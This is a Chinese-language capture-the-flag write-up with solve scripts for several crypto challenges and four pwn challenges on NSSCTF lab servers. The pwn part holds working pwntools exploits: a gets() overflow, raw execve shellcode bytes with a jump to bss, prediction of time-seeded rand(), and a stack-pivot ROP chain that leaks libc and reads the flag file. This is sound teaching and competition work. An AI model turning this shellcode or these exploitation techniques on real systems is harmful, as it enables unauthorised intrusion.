没时间参加，作了几个补了几个。

Crypto

Absolute_Baby_Encrytpion

通过js作的字符替换，再整个表替换回去即可。只是一直不清楚python里的字典怎么把键和值互换。把原程序里替换后就是键和值，反过来没有函数。

cipher = '+}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&'
tab1 = {'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':'\'','=':'r','`':'k','~':'p','{':'\"','}':'&','[':'/',']':'\\','|':'2',':':'.',';':'%','\"':'|','\'':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}

tab2 = {}
for v in tab1:
    tab2[tab1[v]]= v

plain = ''.join([tab2[c] for c in cipher])
print(plain)
#flag{c0rrectly_decrypted_the_$ecret_flag_encrypted_with_5up3r_easy_b@by_encryp7ion_alg0r!thm_written_in_vanil1a_js}

babylua

lua写的程序，好在md5大家都是一样的。

local flag = '' --这里是你要逆推出的flag
local md5 = require("md5")

math.randomseed(os.time())

local function randomStr(len)
    local rankStr = ""
    local randNum = 0
    for i = 1, len do
        randNum = math.random(1, 2)
        if randNum == 1 then
            rankStr = rankStr .. string.char(math.random(65, 90))
        elseif randNum == 2 then
            rankStr = rankStr .. string.char(math.random(97, 122))
        end
    end
    return rankStr
end

local seed = randomStr(4)
local key = md5.sumhexa(md5.sumhexa(seed))
print(key:sub(1,10))

secret = {}

for i = 1, #flag do
    secret[i] = string.byte(flag:sub(i,i)) + string.byte(key:sub(i,i))
end

for i, v in ipairs(secret) do
    io.write(v, ' ')
end

print()

--程序运行输出结果：
--b5e62abe84
--200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225
--请你分析代码，逆向推出flag

题目由4个字符的key来加密，直接爆破key就行了

from pwn import *
import string
from hashlib import md5

found = iters.bruteforce(lambda x: md5(md5(x.encode()).hexdigest().encode()).hexdigest()[:10] == 'b5e62abe84', string.ascii_letters,4)
print(found)

key = md5(md5(b'kKpU').hexdigest().encode()).hexdigest().encode()

c = [200,161,198,157,173,169,199,150,105,163,193,175,173,194,135,131,135,225]
p = [c[i]-key[i] for i in range(len(c))]
print(bytes(p))
#flag{He11o_Lua!!!}

Magic_Of_Encoding

这个没弄出来，后来问的别人。

题目把一个压缩包base64后插入好多fake base64后的值。当直接b64decode后由于插入的位置不是整4字符的位置，导致出现乱码无法把全部的fake删除。

所有fake长度都是3的倍数，编码后没有=

from base64 import *

msg = open('Magic_Of_Encoding.txt','rb').read()

blist = [b'flag{Xd_fake_flag_xD}', b'find_me_if_you_can', b'flag{not_the_correct_flag_lol}',
         b'\nflag{not_the_correct_flag_lol}\nflag{not_the_correct_flag_lol}\n']

#这些数据夹在密文中间（每段密文不都是3的整数倍，解码后会出现混乱，要先删除再解码）
for i in blist:
    msg = msg.replace(b64encode(i), b'')
open('aaa.zip', 'wb').write(b64decode(msg))

Math Problem

这个也没弄出来，也是问的，不过从此学会了一个：epsilon

#!/usr/bin/env sage
import secret
from Crypto.Util.number import *

p, q = getPrime(512), getPrime(512)
e, n = 0x10001, p * q
c = pow(bytes_to_long(secret.flag), e, n)
print(f"{e = }\n{n = }\n{c = }")

a, b = getPrime(512), getPrime(512)
E = EllipticCurve(GF(p), [a, b])
G = E.lift_x(ZZ(getPrime(64)))
print(f"{a = }\n{b = }\ny = {G.xy()[1]}")

这题是两块第1块是RSA，第2块是ECC，其中ECC的模是RSA里的p

ECC给出参数a,b和一个点的y值，x值是64位的素数。

1，对于求知模的椭圆曲线方程，在模p的情况成立，在模n的情况下也成立。可以用n作模求点的x值。

卡在这里了，coppersmith方法一般使用两个参数X和beta，其中X是所求常量的范围，beta是n的幂,一般要小于0.5允许1位小数，也就是0.4

其实还有第3个参数，不常用忽略了。epsilon这个一般是beta/7 ，表示作格基规约时取的规模，值越小规模越大，这个题需要从0.05一点点调，0.02才能成功。当然0.01时也行，只是运行时间很长。

2，求出x值后再代入方程与n取公约数求p

e = 65537
n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854


PR.<x> = PolynomialRing(Zmod(n))
f = x^3 + a*x + b - y^2 

#epsilon的话调得小对应的Lattice规模要大一点，应用起来的感觉就是耗时更长、求解的可能性更大
f.small_roots(X=2^64, beta=0.4, epsilon=0.02)

x = 9757458594430450711
p = gcd(int(f(x)),n)

q = n//p 
phi = (p-1)*(q-1)
d = inverse_mod(e,phi)
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#flag{c4edd6d0-d1b3-cbda-95e3-a323edc35be5}

PWN

ez_pwn

在check里password输入这用的gets有溢出，长度是15+v3+fd+v5，覆盖到v5即可。

int check()
{
  int result; // eax
  char buf[10]; // [rsp+7h] [rbp-29h] BYREF
  char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF
  ssize_t v3; // [rsp+20h] [rbp-10h]
  int fd; // [rsp+28h] [rbp-8h]
  int v5; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
  {
    puts("Can't access /dev/urandom.");
    exit(1);
  }
  v3 = read(fd, buf, 0xAuLL);
  if ( v3 < 0 )
  {
    puts("Data not received from /dev/urandom");
    exit(1);
  }
  close(fd);
  puts("Password:");
  gets(s1);
  result = strcmp(s1, buf);
  if ( result )
    result = puts("I swore that was the right password ...");
  else
    v5 = 1;
  if ( v5 )
  {
    puts("Guess I couldn't gaslight you!");
    return print_flag();
  }
  return result;
}

from pwn import *

p = remote('node4.anna.nssctf.cn', 28243)
context(arch='amd64', log_level='debug')

p.sendlineafter(b"Password:", b'\x00'*15+ p32(1)*4)
p.recvline()
p.recvline()
p.recvline()

p.interactive()

shellcode

这题也简单，bss可执行，只需要先写入shellcode再溢出跳过去就行，只是对shellcode长度有要求，不能超0x20,以前存了不少，有21字节的。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  puts("Please.");
  read(0, &name, 0x25uLL);
  puts("Nice to meet you.");
  puts("Let's start!");
  read(0, buf, 0x40uLL);
  return 0;
}

from pwn import *

#p = process('./ezshellcode')
p = remote('node4.anna.nssctf.cn', 28804)
context(arch='amd64', log_level='debug')

code = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendlineafter(b'Please.\n', code)
p.sendlineafter(b"Let's start!", b'\x00'*10 + p64(0x6010a0)*3)

p.interactive()

真男人下120层

前两天才从网友这问了这个问题，今天就出现了。

对于libc的srand(time(0))得到的是系统时间的秒数作种子，本地和远端都使用ntp同步，时间差不到1秒很正常。所以本地也作个srand(time(0))就一样了。这题要猜120次。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // eax
  int v6; // [rsp+8h] [rbp-18h] BYREF
  unsigned int i; // [rsp+Ch] [rbp-14h]
  __int64 v8; // [rsp+10h] [rbp-10h]
  unsigned __int64 v9; // [rsp+18h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  v3 = time(0LL);
  srand(v3);
  v8 = 2772839826LL;
  v4 = rand();
  srand(v4 % 3 - 1522127470);
  printf("\x1B[31m");
  puts("\n\n");
  puts(" ##   ## #######  ####### ######## ####### ");
  puts(" ##   ##     ###  ##         ##    ##      ");
  puts(" #######   ###    ##         ##    ####    ");
  puts(" ##   ## ###      ##         ##    ##      ");
  puts(" ##   ## #######  #######    ##    ##      \n\n");
  printf("\x1B[0m");
  puts("Welcome!");
  puts(aThereAreFourDo);
  puts("Only one door leads to the right path. If you choose the wrong one, you will be killed by a trap.\n");
  for ( i = 1; (int)i <= 120; ++i )
  {
    print_door();
    printf("\t\t\tFloor %d\n\n", i);
    __isoc99_scanf("%d", &v6);
    if ( rand() % 4 + 1 != v6 )
    {
      printf("\x1B[31m");
      puts("YOU DIED!");
      printf("\x1B[0m");
      return 0;
    }
    system("clear");
  }
  puts("Congratulation!");
  cat_flag();
  return 0;
}

直接用ctypes调用个libc即可（另外，并不用关心libc的版本，rand基本相同）

from pwn import *
from ctypes import *

p = remote('node5.anna.nssctf.cn', 28480)

context(arch='amd64', log_level='debug')

libc = cdll.LoadLibrary("./libc-2.31.so")

libc.srand(libc.time(0))
libc.srand( libc.rand() % 3 - 1522127470)

for i in range(120):
    p.sendlineafter(b"", str(libc.rand() %4 + 1).encode())

p.recvline()

p.interactive()

Random

还是随机数，跟上题一样，然后有溢出，但溢出很小，所以要用个移栈。同时需要用ORW，这样payload会比较长。

ssize_t vulnerable()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("your door");
  return read(0, buf, 0x40uLL);
}

移栈会在leave ret时发生，会将rbp的值赋给rsp然后pop rdp然后再执行。

第1次由于rsp在栈上,位置不可控，所以要移到bss可写区里

第2次写入里在pay后部写两个然后向前移栈再进行写

第3次写到第1次后部让前边的0x10与后边的前0x20连一起，组成一个长的payload

这个payload执行read功能，向bss里写入orw

作完一想这里可能弄复杂了，第1次写完这里rsi是有值的，read的时候只需要pop rdx就行，那么两次移栈就行了，没必要弄3次。

from pwn import *
from ctypes import *

#p = remote('node5.anna.nssctf.cn', 28233)
p = process('./RANDOM')
context(arch='amd64', log_level='debug')

libc = cdll.LoadLibrary("./libc-2.31.so")
libc.srand(libc.time(0))

elf = ELF('./RANDOM')
libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

pop_rdi = 0x0000000000400ae3 # pop rdi ; ret
pop_rsi = 0x0000000000400ae1 # pop rsi ; pop r15 ; ret
pop_rbp = 0x0000000000400951 # pop rbp ; ret
leave_ret = 0x400948
bss = 0x601800
p.sendlineafter(b"please input a guess num:", str(libc.rand()%50 ).encode())


pay = flat(pop_rdi, elf.got['setbuf'], 0x40092c)
p.sendafter(b"your door\n", b'\x00'*0x20 + p64(bss) + pay)
libc_elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['setbuf']

#gdb.attach(p, 'b*0x400947')

print(f"{libc_elf.address= :x}")
pop_rdx_rsi = libc_elf.address + 0x00000000001151c9 # pop rdx ; pop rsi ; ret #next(libc_elf.search(asm('pop rdx;pop rsi;ret')))
pop_rax     = libc_elf.address + 0x000000000003a738 # pop rax ; ret #next(libc_elf.search(asm('pop rax;ret')))
#                                                        read(0,bss,0x100)
#
p.send(flat(bss+0x40,0x400931,0,0,bss-0x20,leave_ret, bss+0x38,pop_rdx_rsi))
p.send(flat(0x100,bss+0x20, libc_elf.sym['read'],0,bss+0x10, pop_rbp, bss+0x10,leave_ret))


par = [b'flag.txt',0,pop_rdi+1, pop_rdi+1, pop_rdi,bss+0x20, pop_rdx_rsi, 0, 0, libc_elf.sym['open'], 
                          pop_rdi,3, pop_rdx_rsi, 0x100, 0x601900, libc_elf.sym['read'],
                          pop_rdi,1, pop_rdx_rsi, 0x100, 0x601900, libc_elf.sym['write']]
p.send(flat(par))
p.recv()
p.interactive()

这回的rev都很难，就签了个到算了。